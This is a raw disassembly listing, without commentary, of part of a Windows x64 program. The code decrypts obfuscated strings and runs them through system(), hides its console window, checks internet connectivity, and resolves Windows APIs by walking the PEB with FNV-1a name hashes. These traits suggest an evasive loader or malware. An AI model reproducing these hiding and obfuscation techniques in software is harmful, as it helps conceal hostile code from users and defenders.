punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140127f10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140069b91
cmp r8d, 0x2a
jge 0x140069ce5
movsxd rax, r8d
lea r9, [rbp - 0x28]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2a
jl 0x140069cb0
lea rcx, [rbp - 0x28]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140126c68]
movups xmmword [rbp - 0x28], xmm0
movups xmm1, xmmword [0x140126c78]
movups xmmword [rbp - 0x18], xmm1
mov eax, dword [0x140126c88]
mov dword [rbp - 8], eax
movzx eax, word [0x140126c8c]
mov word [rbp - 4], ax
mov r8d, ebx
cmp r15d, 2
jl 0x140069e6b
movdqa xmm5, xmmword [0x140127ea0]
movdqa xmm4, xmmword [0x140128040]
movd xmm6, esi
movdqa xmm7, xmmword [0x140127ed0]
movd xmm8, r14d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x24]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140127f10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140127f10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140069d60
cmp r8d, 0x26
jge 0x140069eb5
movsxd rax, r8d
lea r9, [rbp - 0x28]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x26
jl 0x140069e80
lea rcx, [rbp - 0x28]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [str.ZVH_HZKTPX_]
mov dword [rsp + 0x30], eax
cmp byte [reloc.WLDAP32.dll_Ordinal_60], bl
je 0x140069fa5
cmp r15d, 2
jl 0x140069f68
movdqa xmm3, xmmword [0x140127ea0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140128040]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140128040]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
movd xmm0, esi
psrad xmm2, xmm0
movd xmm0, r14d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140127ed0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140127f10]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.9999999999999999]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x30], xmm2
jmp 0x140069fa5
lea r9, [rsp + 0x30]
mov r8d, ebx
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140069f70
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov edx, esi
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
movzx eax, word [0x140126dac]
mov word [rsp + 0x30], ax
movzx eax, byte [0x140126dae]
mov byte [rsp + 0x30], 0x46
xor byte [rsp + 0x31], 0x3a
xor al, 0x3b
mov byte [rsp + 0x32], al
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
call fcn.14004ce90
movups xmm0, xmmword [0x140126fb0]
movups xmmword [rsp + 0x70], xmm0
mov eax, dword [0x140126fc0]
mov dword [rbp - 0x80], eax
cmp byte [0x140126fc3], bl
je 0x14006a1b5
mov r8d, ebx
cmp r15d, 2
jl 0x14006a16b
movdqa xmm5, xmmword [0x140127ea0]
movdqa xmm4, xmmword [0x140128040]
movd xmm6, esi
movdqa xmm7, xmmword [0x140127ed0]
movd xmm8, r14d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x74]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140127f10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140127f10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14006a060
cmp r8d, 0x14
jge 0x14006a1b5
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x14006a180
lea rcx, [rbp + 0x70]
dec rcx
nop dword [rax]
lea rcx, [rcx + 1]
cmp byte [rcx], bl
jne 0x14006a1c0
lea r8, [rsp + 0x70]
xor edx, edx
nop
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x14006a1d0
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rbp + 0x70]
call qword [sym.imp.WININET.dll_InternetCheckConnectionA]
test eax, eax
jne 0x14006a764
movups xmm0, xmmword [0x1401271a8]
movups xmmword [rbp + 0x48], xmm0
movsd xmm0, qword [0x1401271b8]
movsd qword [rbp + 0x58], xmm0
mov eax, dword [0x1401271c0]
mov dword [rbp + 0x60], eax
movzx eax, byte [0x1401271c4]
mov byte [rbp + 0x64], al
mov r8d, ebx
cmp r15d, 2
jl 0x14006a37b
movdqa xmm5, xmmword [0x140127ea0]
movdqa xmm4, xmmword [0x140128040]
movd xmm6, esi
movdqa xmm7, xmmword [0x140127ed0]
movd xmm8, r14d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x4c]
mov edx, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140127f10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140127f10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14006a270
cmp r8d, 0x1d
jge 0x14006a3c5
movsxd rax, r8d
lea r9, [rbp + 0x48]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x14006a390
lea rcx, [rbp + 0x48]
call fcn.1400035c0
movups xmm0, xmmword [0x140127478]
movups xmmword [rbp + 0x18], xmm0
mov eax, dword [0x140127488]
mov dword [rbp + 0x28], eax
cmp byte [0x14012748b], bl
je 0x14006a585
mov r8d, ebx
cmp r15d, 2
jl 0x14006a53d
movdqa xmm5, xmmword [0x140127ea0]
movdqa xmm4, xmmword [0x140128040]
movd xmm6, esi
movdqa xmm7, xmmword [0x140127ed0]
movd xmm8, r14d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x1c]
mov edx, dword [rsp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140127f10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140127f10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14006a432
cmp r8d, 0x14
jge 0x14006a585
movsxd rax, r8d
lea r9, [rbp + 0x18]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x14006a550
lea rcx, [rbp + 0x18]
call fcn.1400035c0
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rsi, r14
nop word [rax + rax]
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov edi, dword [rax + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x14006a627
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x14006a627
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14006a622
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14006a600
cmp edx, 0x2fa62ca8
je 0x14006a6e9
test r8d, r8d
jne 0x14006a5e0
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x14006a63c
cmp qword [rax + 0x30], rbx
jne 0x14006a5b0
mov rax, rbx
mov ecx, 0x520
call rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rsi, r14
nop dword [rax]
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov edi, dword [rax + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x14006a6d3
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x14006a6d3
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov eax, dword [rax + r11]
add rax, r9
mov edx, 0x811c9dc5
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x14006a6ce
nop dword [rax]
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax]
lea rax, [rax + 1]
test cl, cl
jne 0x14006a6b0
cmp edx, 0xe80fd3a
je 0x14006a705
test r8d, r8d
jne 0x14006a690
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x14006a71c
cmp qword [rax + 0x30], rbx
je 0x14006a71c
jmp 0x14006a660
mov ecx, dword [rdi + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x14006a63f
mov ecx, dword [rdi + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov ebx, dword [rcx + rdx*4]
add rbx, r9
mov ecx, 0xffffffff
call rbx
xor eax, eax
mov rcx, qword [rbp + 0xf0]
xor rcx, rsp
call fcn.1400d5f90
lea r11, [rsp + 0x230]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rcx, [0x1401865a0]
call fcn.14007f9f0
xorps xmm0, xmm0
movabs r13, 0xff00ff00ff00ff00
movups xmmword [rbp + 0x18], xmm0
mov qword [rbp + 0x20], r13
cmp byte [0x1401867b0], bl
jne 0x14006aadc
lea r15, [rbp + 0x158]
mov qword [rbp + 0x28], r15
mov rax, qword [r15]
xor rax, r13
mov qword [rbp + 0x18], rax
mov qword [r15], rbx
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rsi, r14
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov edi, dword [rax + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x14006a837
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x14006a837
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14006a832
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14006a810
cmp edx, 0xe80fd3a
je 0x14006aa5a
test r8d, r8d
jne 0x14006a7f0
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x14006a84d
cmp qword [rax + 0x30], 0
jne 0x14006a7c0
mov rdx, rbx
mov ecx, 0xffffffff
call rdx
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rsi, r14
nop
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov edi, dword [rax + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x14006a8e7
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x14006a8e7
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14006a8e2
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14006a8c0
cmp edx, 0x1f407a44
je 0x14006aa76
test r8d, r8d
jne 0x14006a8a0
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x14006a8fd
cmp qword [rax + 0x30], 0
jne 0x14006a870
mov rdx, rbx
call rdx
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rsi, r14
nop dword [rax]
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov edi, dword [rax + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x14006a997
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x14006a997
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14006a992
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14006a970
cmp edx, 0xa52bcaf9
je 0x14006aa92
test r8d, r8d
jne 0x14006a950
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x14006a9ad
cmp qword [rax + 0x30], 0
jne 0x14006a920
mov rdx, rbx
call rdx
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rsi, r14
nop dword [rax]
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov edi, dword [rax + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x14006aa43
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x14006aa43
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14006aa3e
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14006aa20
cmp edx, 0xcded1a85
je 0x14006aaae
test r8d, r8d
jne 0x14006aa00
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x14006aac5
cmp qword [rax + 0x30], 0
je 0x14006aac5
jmp 0x14006a9d0
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
jmp 0x14006a850
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
jmp 0x14006a900
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
jmp 0x14006a9b0
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov ebx, dword [rcx + rax*4]
add rbx, r9
mov ecx, 0xc4653601
call rbx
nop
mov rax, qword [rbp + 0x18]
xor rax, r13
mov qword [r15], rax
jmp 0x14006a723
lea rax, [rbp + 0x158]
mov qword [rbp + 0x28], rax
mov rdi, qword [rax]
xor rdi, r13
mov qword [rbp + 0x18], rdi
mov qword [rax], rbx
lea rcx, [0x1401865a0]
call fcn.14007c650
mov r12, 0xffffffffffffffff
test al, al
je 0x14006afa1
movsd xmm0, qword [0x1401267f8]
movsd qword [rsp + 0x60], xmm0
mov eax, dword [0x140126800]
mov dword [rsp + 0x68], eax
cmp byte [0x140126803], 0
je 0x14006ac95
mov r8d, ebx
cmp r15d, 2
jl 0x14006ac50
movdqa xmm4, xmmword [0x140128040]
movd xmm6, esi
movd xmm5, r14d
movdqa xmm2, xmmword [0x140127ea0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140127ed0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140127f10]
packuswb xmm2, xmm2
mov eax, dword [str.9999999999999999]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1401267f8]
xorps xmm2, xmm0
movd dword [rsp + 0x60], xmm2
movdqa xmm3, xmmword [0x140127ec0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140127ed0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140127f10]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x64]
xorps xmm2, xmm1
movd dword [rsp + 0x64], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14006ac60
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
mov qword [rbp - 0x38], rbx
mov qword [rbp - 0x30], rbx
lea rax, [rsp + 0x60]
mov r8, r12
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14006acb0
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x48]
call fcn.1400714e0
lea rdx, [rbp - 0x48]
lea rcx, [0x1401865a0]
call fcn.140082560
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rsi, r14
nop
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov edi, dword [rax + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x14006ad67
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x14006ad67
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14006ad62
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14006ad40
cmp edx, 0xe80fd3a
je 0x14006b466
test r8d, r8d
jne 0x14006ad20
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x14006ad7d
cmp qword [rax + 0x30], 0
jne 0x14006acf0
mov rdx, rbx
mov ecx, 0xffffffff
call rdx
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rsi, r14
nop
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov edi, dword [rax + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x14006ae17
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x14006ae17
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14006ae12
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14006adf0
cmp edx, 0x1f407a44
je 0x14006b482
test r8d, r8d
jne 0x14006add0
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x14006ae2d
cmp qword [rax + 0x30], 0
jne 0x14006ada0
mov rdx, rbx
call rdx
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
